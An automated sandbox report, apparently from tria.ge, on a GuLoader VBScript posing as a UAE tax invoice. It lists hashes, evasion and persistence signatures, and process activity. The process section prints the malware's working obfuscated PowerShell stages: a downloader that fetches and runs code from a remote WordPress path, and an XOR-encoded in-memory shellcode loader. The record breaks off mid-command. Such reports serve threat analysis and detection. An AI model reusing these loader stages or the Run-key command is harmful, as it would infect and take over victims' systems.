Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
148s -
max time network
149s -
platform
windows10-2004_x64 -
resource
win10v2004-20230220-en -
resource tags
arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system -
submitted
08/05/2023, 18:26
Static task
static1
Behavioral task
behavioral1
Sample
TAX-INVOICE-UAE-UNPAID-NOTIFICATION.vbs
Resource
win7-20230220-en
Behavioral task
behavioral2
Sample
TAX-INVOICE-UAE-UNPAID-NOTIFICATION.vbs
Resource
win10v2004-20230220-en
General
-
Target
TAX-INVOICE-UAE-UNPAID-NOTIFICATION.vbs
-
Size
34KB
-
MD5
21a4e31b7ca2e4608bf43d2ad901edc3
-
SHA1
b0e3f0ec85b343fb75bb00fe4fdb3945714d52d2
-
SHA256
beda408709feea7d2023f328e9c97bf4d090bcfb3948fc4e4d9c5c580d8f5858
-
SHA512
68686bfa80bc22521da952707aa38a7d3b0a1caedaef2c6ba436ddaa12bed2dbc41982e650945877ce633f26049dcbbfc946ba486c317b07e5be868ebe379fd2
-
SSDEEP
768:7XDUAi25dFuE6dFxAi6EvM6bjUDSXjuISLDIca:7XQV0e76EqOMfa
Malware Config
Signatures
-
Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
-
Blocklisted process makes network request 2 IoCs
flow pid Process 5 3192 WScript.exe 18 2836 powershell.exe -
Checks QEMU agent file 2 TTPs 2 IoCs
Checks presence of QEMU agent, possibly to detect virtualization.
description ioc Process File opened (read-only) C:\Program Files\Qemu-ga\qemu-ga.exe powershell.exe File opened (read-only) C:\Program Files\Qemu-ga\qemu-ga.exe ieinstal.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Control Panel\International\Geo\Nation WScript.exe -
Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Software\Microsoft\Windows\CurrentVersion\Run ieinstal.exe Set value (str) \REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Grueling = "%err1% -w 1 $Indebrug=(Get-ItemProperty -Path 'HKCU:\\Undimly\\').Cochaired;%err1% ($Indebrug)" ieinstal.exe -
Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs
pid Process 4460 ieinstal.exe 4460 ieinstal.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 928 powershell.exe 4460 ieinstal.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 928 set thread context of 4460 928 powershell.exe 165 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43 WScript.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 0f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c14000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d432000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 WScript.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 04000000010000001000000087ce0b7b2a0e4900e158719b37a893720f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c14000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d43190000000100000010000000749966cecc95c1874194ca7203f9b6202000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 WScript.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 5c000000010000000400000000080000190000000100000010000000749966cecc95c1874194ca7203f9b6200300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d431d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0b000000010000001200000044006900670069004300650072007400000014000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f6200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa604000000010000001000000087ce0b7b2a0e4900e158719b37a893722000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 WScript.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 2836 powershell.exe 2836 powershell.exe 928 powershell.exe 928 powershell.exe -
Suspicious behavior: MapViewOfSection 3 IoCs
pid Process 928 powershell.exe 928 powershell.exe 928 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 2836 powershell.exe Token: SeDebugPrivilege 928 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3192 wrote to memory of 2836 3192 WScript.exe 83 PID 3192 wrote to memory of 2836 3192 WScript.exe 83 PID 3192 wrote to memory of 2836 3192 WScript.exe 83 PID 2836 wrote to memory of 928 2836 powershell.exe 91 PID 2836 wrote to memory of 928 2836 powershell.exe 91 PID 2836 wrote to memory of 928 2836 powershell.exe 91 PID 928 wrote to memory of 1896 928 powershell.exe 92 PID 928 wrote to memory of 1896 928 powershell.exe 92 PID 928 wrote to memory of 1896 928 powershell.exe 92 PID 928 wrote to memory of 3576 928 powershell.exe 93 PID 928 wrote to memory of 3576 928 powershell.exe 93 PID 928 wrote to memory of 3576 928 powershell.exe 93 PID 928 wrote to memory of 2260 928 powershell.exe 94 PID 928 wrote to memory of 2260 928 powershell.exe 94 PID 928 wrote to memory of 2260 928 powershell.exe 94 PID 928 wrote to memory of 1700 928 powershell.exe 95 PID 928 wrote to memory of 1700 928 powershell.exe 95 PID 928 wrote to memory of 1700 928 powershell.exe 95 PID 928 wrote to memory of 1452 928 powershell.exe 96 PID 928 wrote to memory of 1452 928 powershell.exe 96 PID 928 wrote to memory of 1452 928 powershell.exe 96 PID 928 wrote to memory of 3964 928 powershell.exe 97 PID 928 wrote to memory of 3964 928 powershell.exe 97 PID 928 wrote to memory of 3964 928 powershell.exe 97 PID 928 wrote to memory of 3172 928 powershell.exe 98 PID 928 wrote to memory of 3172 928 powershell.exe 98 PID 928 wrote to memory of 3172 928 powershell.exe 98 PID 928 wrote to memory of 4140 928 powershell.exe 99 PID 928 wrote to memory of 4140 928 powershell.exe 99 PID 928 wrote to memory of 4140 928 powershell.exe 99 PID 928 wrote to memory of 2168 928 powershell.exe 100 PID 928 wrote to memory of 2168 928 powershell.exe 100 PID 928 wrote to memory of 2168 928 powershell.exe 100 PID 928 wrote to memory of 4284 928 powershell.exe 101 PID 928 wrote to memory of 4284 928 powershell.exe 101 PID 928 wrote to memory of 4284 928 powershell.exe 101 PID 928 wrote to memory of 3364 928 powershell.exe 102 PID 928 wrote to memory of 3364 928 powershell.exe 102 PID 928 wrote to memory of 3364 928 powershell.exe 102 PID 928 wrote to memory of 2540 928 powershell.exe 103 PID 928 wrote to memory of 2540 928 powershell.exe 103 PID 928 wrote to memory of 2540 928 powershell.exe 103 PID 928 wrote to memory of 2008 928 powershell.exe 104 PID 928 wrote to memory of 2008 928 powershell.exe 104 PID 928 wrote to memory of 2008 928 powershell.exe 104 PID 928 wrote to memory of 3992 928 powershell.exe 105 PID 928 wrote to memory of 3992 928 powershell.exe 105 PID 928 wrote to memory of 3992 928 powershell.exe 105 PID 928 wrote to memory of 1936 928 powershell.exe 106 PID 928 wrote to memory of 1936 928 powershell.exe 106 PID 928 wrote to memory of 1936 928 powershell.exe 106 PID 928 wrote to memory of 3816 928 powershell.exe 107 PID 928 wrote to memory of 3816 928 powershell.exe 107 PID 928 wrote to memory of 3816 928 powershell.exe 107 PID 928 wrote to memory of 3664 928 powershell.exe 108 PID 928 wrote to memory of 3664 928 powershell.exe 108 PID 928 wrote to memory of 3664 928 powershell.exe 108 PID 928 wrote to memory of 3648 928 powershell.exe 109 PID 928 wrote to memory of 3648 928 powershell.exe 109 PID 928 wrote to memory of 3648 928 powershell.exe 109 PID 928 wrote to memory of 2304 928 powershell.exe 110 PID 928 wrote to memory of 2304 928 powershell.exe 110 PID 928 wrote to memory of 2304 928 powershell.exe 110 PID 928 wrote to memory of 1852 928 powershell.exe 111
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\TAX-INVOICE-UAE-UNPAID-NOTIFICATION.vbs"1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:3192 -
C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe"C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe" "Function Dodder9 ([String]$Bruttoindkomstens){For($Halvcirkel70=1; $Halvcirkel70 -lt $Bruttoindkomstens.Length-1; $Halvcirkel70+=(1+1)){$Intersqueezing=$Intersqueezing+$Bruttoindkomstens.Substring($Halvcirkel70, 1)};$Intersqueezing;}$Timbren=Dodder9 'ShCtSt p sH:M/ / b lMoAgG.TnOa cReTx . eHsU/SwbpH- cDoUn t eSn tE/Sp lSuPg i n sS/ DGRACCO OKO Lm/PFDiEn aOn sSeDk s pEe r t e rM.CaCs i ';$Intersqueezing01=Dodder9 'SiSekx ';$Intersqueezing00=Dodder9 'S$ DMoHd dAe r C=R M(XN e wS- OBb jRe cht NYeStD. WAeCb C lUiCe n tV) .EDEo wOn lPo aUdSS t rHiMnEgU(F$AT i mSbPr eEn ) ';.($Intersqueezing01) (Dodder9 ' $Dl iOs lBsE2 =E$Be nSvT: aspZpMd a tBa ') ;$lisls2=$lisls2+'\Afkappet.Cif';.($Intersqueezing01) (Dodder9 'A$BBIr uFdWzFo nIe = - nUoRtK( TPePsAtG-FPCaKtBhB C$Kl iBs lFsS2S) ') ;if ($Brudzone) {while ($Dodder -eq $Intersqueezing3) {.($Intersqueezing01) $Intersqueezing00;.($Intersqueezing01) (Dodder9 'TSBtRa r t -PSIl ePe pP P5 ');}.($Intersqueezing01) (Dodder9 ' S eItr-JCSoFnFtFeOn th $ l i s l s 2R O$ D o dPdHeJrD ');}.($Intersqueezing01) (Dodder9 'E$ D oPd dneBr = GDePt -ICtoPnltSe nPtU H$Cl i s lZsU2P ');.($Intersqueezing01) (Dodder9 'B$EPGa rIaTgDuTaKyUa n eHr n e sP =V O[WSMyasAtReRmR. C oLn vDe rStS]G:B:NFCr o mNB aSs e 6S4PSPt rCiRnsg ( $SDCoAd dBe r )G ');.($Intersqueezing01) (Dodder9 ' $PICnUtVeNr s qFuSe eQzGi n g 2c = S[ASSyAs t eAm . TPeKx t . E nRc o d i nvgs]F:R: A SCCSITIK. GSeStKSPtSr i nCg (S$KPBa r a gPu aCy aUnde r ndeTsP)T ');.($Intersqueezing01) (Dodder9 'L$FPAr oarVeTf o rXm =S$ ICn tSe r s qSuOeKeOzUi nFgS2G. s uKbDsItNrMi nSgC( 1S8 7S4S5 1E, 8 4A6S6 ) ');powershell $Proreform;"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2836 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Function Pyridyl15202([String]$Likvidt) { $Lupin = [System.Byte[]]::CreateInstance([System.Byte],$Likvidt.Length / 2) $Oppression141 = (cmd /c 'echo 16') For($Lystfiskerforeninger=0; $Lystfiskerforeninger -lt $Likvidt.Length; $Lystfiskerforeninger+=2){ $Lupin[$Lystfiskerforeninger/2] = [convert]::ToByte($Likvidt.Substring($Lystfiskerforeninger, 2), $Oppression141) $Lupin[$Lystfiskerforeninger/2] = ($Lupin[$Lystfiskerforeninger/2] -bxor 15) } [String][System.Text.Encoding]::ASCII.GetString($Lupin) } $Proficiency0=Pyridyl15202 '5C767C7B6A62216B6363' $Proficiency1=Pyridyl15202 '42666C7D607C60697B215866613C3D215A617C6E696A416E7B66796A426A7B67606B7C' $Proficiency2=Pyridyl15202 '486A7B5F7D606C4E6B6B7D6A7C7C' $Proficiency3=Pyridyl15202 '5C767C7B6A62215D7A617B66626A2146617B6A7D607F5C6A7D79666C6A7C21476E616B636A5D6A69' $Proficiency4=Pyridyl15202 '7C7B7D666168' $Proficiency5=Pyridyl15202 '486A7B42606B7A636A476E616B636A' $Proficiency6=Pyridyl15202 '5D5B5C7F6A6C666E63416E626A232F47666B6A4D765C6668232F5F7A6D63666C' $Proficiency7=Pyridyl15202 '5D7A617B66626A232F426E616E686A6B' $Proficiency8=Pyridyl15202 '5D6A69636A6C7B6A6B4B6A636A686E7B6A' $Proficiency9=Pyridyl15202 '4661426A62607D7642606B7A636A' $Udtrttede2310=Pyridyl15202 '42764B6A636A686E7B6A5B767F6A' $Udtrttede2311=Pyridyl15202 '4C636E7C7C232F5F7A6D63666C232F5C6A6E636A6B232F4E617C664C636E7C7C232F4E7A7B604C636E7C7C' $Udtrttede2312=Pyridyl15202 '46617960646A' $Udtrttede2313=Pyridyl15202 '5F7A6D63666C232F47666B6A4D765C6668232F416A785C63607B232F59667D7B7A6E63' $Udtrttede2314=Pyridyl15202 '59667D7B7A6E634E6363606C' $Udtrttede2315=Pyridyl15202 '617B6B6363' $Udtrttede2316=Pyridyl15202 '417B5F7D607B6A6C7B59667D7B7A6E63426A62607D76' $Udtrttede2317=Pyridyl15202 '464A57' $Udtrttede2318=Pyridyl15202 '53' $Licinian=Pyridyl15202 '4C6E63635866616B60785F7D606C4E' function Pyridyl15205 ($Helaarsbeboelsers, $Clotter143) { $Rialto0 =Pyridyl15202 '2B58606969636A7D2F322F27544E7F7F4B60626E66615235354C7A7D7D6A617B4B60626E666121486A7B4E7C7C6A626D63666A7C27262F732F58676A7D6A22406D656A6C7B2F742F2B50214863606D6E634E7C7C6A626D63764C6E6C676A2F224E616B2F2B502143606C6E7B666061215C7F63667B272B5A6B7B7D7B7B6A6B6A3D3C3E372654223E52214A7E7A6E637C272B5F7D6069666C666A616C763F262F722621486A7B5B767F6A272B5F7D6069666C666A616C763E26' &($Udtrttede2317) $Rialto0 $Rialto5 = Pyridyl15202 '2B5D6661687C647D6A2F322F2B58606969636A7D21486A7B426A7B67606B272B5F7D6069666C666A616C763D232F545B767F6A5452522F4F272B5F7D6069666C666A616C763C232F2B5F7D6069666C666A616C763B2626' &($Udtrttede2317) $Rialto5 $Rialto1 = Pyridyl15202 '7D6A7B7A7D612F2B5D6661687C647D6A2146617960646A272B617A6363232F4F27545C767C7B6A62215D7A617B66626A2146617B6A7D607F5C6A7D79666C6A7C21476E616B636A5D6A695227416A7822406D656A6C7B2F5C767C7B6A62215D7A617B66626A2146617B6A7D607F5C6A7D79666C6A7C21476E616B636A5D6A692727416A7822406D656A6C7B2F46617B5F7B7D26232F272B58606969636A7D21486A7B426A7B67606B272B5F7D6069666C666A616C763A26262146617960646A272B617A6363232F4F272B476A636E6E7D7C6D6A6D606A637C6A7D7C26262626232F2B4C63607B7B6A7D3E3B3C2626' &($Udtrttede2317) $Rialto1 } function Pyridyl15204 { Param ([Parameter(Position = 0)] [Type[]] $Micrurus,[Parameter(Position = 1)] [Type] $Unlush = [Void]) $Rialto2 = Pyridyl15202 '2B436E7F7C666D6663667B762F322F544E7F7F4B60626E66615235354C7A7D7D6A617B4B60626E6661214B6A6966616A4B76616E62666C4E7C7C6A626D63762727416A7822406D656A6C7B2F5C767C7B6A62215D6A69636A6C7B666061214E7C7C6A626D6376416E626A272B5F7D6069666C666A616C76372626232F545C767C7B6A62215D6A69636A6C7B666061214A62667B214E7C7C6A626D63764D7A66636B6A7D4E6C6C6A7C7C5235355D7A6126214B6A6966616A4B76616E62666C42606B7A636A272B5F7D6069666C666A616C7636232F2B696E637C6A26214B6A6966616A5B767F6A272B5A6B7B7D7B7B6A6B6A3D3C3E3F232F2B5A6B7B7D7B7B6A6B6A3D3C3E3E232F545C767C7B6A6221427A637B666C6E7C7B4B6A636A686E7B6A5226' &($Udtrttede2317) $Rialto2 $Rialto3 = Pyridyl15202 '2B436E7F7C666D6663667B76214B6A6966616A4C60617C7B7D7A6C7B607D272B5F7D6069666C666A616C7639232F545C767C7B6A62215D6A69636A6C7B666061214C6E63636661684C6061796A617B6660617C5235355C7B6E616B6E7D6B232F2B42666C7D7A7D7A7C26215C6A7B46627F636A626A617B6E7B66606149636E687C272B5F7D6069666C666A616C763826' &($Udtrttede2317) $Rialto3 $Rialto4 = Pyridyl15202 '2B436E7F7C666D6663667B76214B6A6966616A426A7B67606B272B5A6B7B7D7B7B6A6B6A3D3C3E3D232F2B5A6B7B7D7B7B6A6B6A3D3C3E3C232F2B5A61637A7C67232F2B42666C7D7A7D7A7C26215C6A7B46627F636A626A617B6E7B66606149636E687C272B5F7D6069666C666A616C763826' &($Udtrttede2317) $Rialto4 $Rialto5 = Pyridyl15202 '7D6A7B7A7D612F2B436E7F7C666D6663667B76214C7D6A6E7B6A5B767F6A2726' &($Udtrttede2317) $Rialto5 } $Marjory = Pyridyl15202 '646A7D616A633C3D' $Guttate=Pyridyl15202 '5A5C4A5D3C3D' $Pyridyl15203 = Pyridyl15202 '486A7B4C60617C60636A5866616B6078' $Pyridyl15200=Pyridyl15202 '5C6760785866616B6078' $Pyridyl15201 = Pyridyl15202 '2B4C60627F7D6A7C7C666D636A2F322F545C767C7B6A62215D7A617B66626A2146617B6A7D607F5C6A7D79666C6A7C21426E7D7C676E63523535486A7B4B6A636A686E7B6A49607D497A616C7B6660615F6066617B6A7D27275F767D666B76633E3A3D3F3A2F2B487A7B7B6E7B6A2F2B5F767D666B76633E3A3D3F3F26232F275F767D666B76633E3A3D3F3B2F4F275446617B5F7B7D52232F545A46617B3C3D52262F275446617B5F7B7D52262626' &($Udtrttede2317) $Pyridyl15201 $Pyridyl15202 = Pyridyl15202 '2B446E7D6B6660687D6E62626A7B7C2F322F545C767C7B6A62215D7A617B66626A2146617B6A7D607F5C6A7D79666C6A7C21426E7D7C676E63523535486A7B4B6A636A686E7B6A49607D497A616C7B6660615F6066617B6A7D27275F767D666B76633E3A3D3F3A2F2B426E7D65607D762F2B5F767D666B76633E3A3D3F3C26232F275F767D666B76633E3A3D3F3B2F4F275446617B5F7B7D52262F275446617B5F7B7D52262626' &($Udtrttede2317) $Pyridyl15202 $Rialto7 = Pyridyl15202 '2B4460617C7A636E7B7C2F322F2B446E7D6B6660687D6E62626A7B7C2146617960646A273F26' &($Udtrttede2317) $Rialto7 $Rialto7 = Pyridyl15202 '2B4C60627F7D6A7C7C666D636A2146617960646A272B4460617C7A636E7B7C232F3F26' &($Udtrttede2317) $Rialto7 $Rialto6 = Pyridyl15202 '2B5C6C6760636E7D6366646A2F322F545C767C7B6A62215D7A617B66626A2146617B6A7D607F5C6A7D79666C6A7C21426E7D7C676E63523535486A7B4B6A636A686E7B6A49607D497A616C7B6660615F6066617B6A7D27275F767D666B76633E3A3D3F3A2F2B426E7D65607D762F2B5A6B7B7D7B7B6A6B6A3D3C3E3B26232F275F767D666B76633E3A3D3F3B2F4F275446617B5F7B7D52232F545A46617B3C3D52232F545A46617B3C3D52232F545A46617B3C3D52262F275446617B5F7B7D52262626' &($Udtrttede2317) $Rialto6 $Brystkasse = Pyridyl15205 $Udtrttede2315 $Udtrttede2316 $Rialto7 = Pyridyl15202 '2B42767D607B676E62616E6C6A607A7C3C2F322F2B5C6C6760636E7D6366646A2146617960646A275446617B5F7B7D523535556A7D60232F393B3E232F3F773C3F3F3F232F3F773B3F26' &($Udtrttede2317) $Rialto7 $Rialto8 = Pyridyl15202 '2B5C647A7D646A2F322F2B5C6C6760636E7D6366646A2146617960646A275446617B5F7B7D523535556A7D60232F373E393A38373A39232F3F773C3F3F3F232F3F773B26' &($Udtrttede2317) $Rialto8 .($Udtrttede2317) (Pyridyl15202 '2B42767D607B676E62616E6C6A607A7C3D322B6A6179356E7F7F6B6E7B6E') $Myrothamnaceous2=$Myrothamnaceous2+'\Afkappet.Cif' .($Udtrttede2317) (Pyridyl15202 '2B406E64626A6B3E373D2F322F486A7B224C60617B6A617B2F2B42767D607B676E62616E6C6A607A7C3D') .($Udtrttede2317) (Pyridyl15202 '2B5F6E7D6E687A6E766E616A7D616A7C2F322F545C767C7B6A62214C6061796A7D7B523535497D60624D6E7C6A393B5C7B7D666168272B406E64626A6B3E373D26') $Oakmed1820 = Pyridyl15202 '545C767C7B6A62215D7A617B66626A2146617B6A7D607F5C6A7D79666C6A7C21426E7D7C676E635235354C607F76272B5F6E7D6E687A6E766E616A7D616A7C232F3F232F2F2B42767D607B676E62616E6C6A607A7C3C232F393B3E26' &($Udtrttede2317) $Oakmed1820 $Rialto9 = Pyridyl15202 '2B5D6A6160616C6A7D323E37383B3A3E22393B3E' &($Udtrttede2317) $Rialto9 $Oakmed1821 = Pyridyl15202 '545C767C7B6A62215D7A617B66626A2146617B6A7D607F5C6A7D79666C6A7C21426E7D7C676E635235354C607F76272B5F6E7D6E687A6E766E616A7D616A7C232F393B3E232F2B5C647A7D646A232F2B5D6A6160616C6A7D26' &($Udtrttede2317) $Oakmed1821 $Oakmed1822 = Pyridyl15202 '2B5A7D6E617C6E686A6366686A7C2F322F545C767C7B6A62215D7A617B66626A2146617B6A7D607F5C6A7D79666C6A7C21426E7D7C676E63523535486A7B4B6A636A686E7B6A49607D497A616C7B6660615F6066617B6A7D27275F767D666B76633E3A3D3F3A2F2B487A7B7B6E7B6A2F2B43666C6661666E6126232F275F767D666B76633E3A3D3F3B2F4F275446617B5F7B7D52232F5446617B5F7B7D52232F5446617B5F7B7D52232F5446617B5F7B7D52232F5446617B5F7B7D52262F275446617B5F7B7D52262626' &($Udtrttede2317) $Oakmed1822 $Oakmed1823 = Pyridyl15202 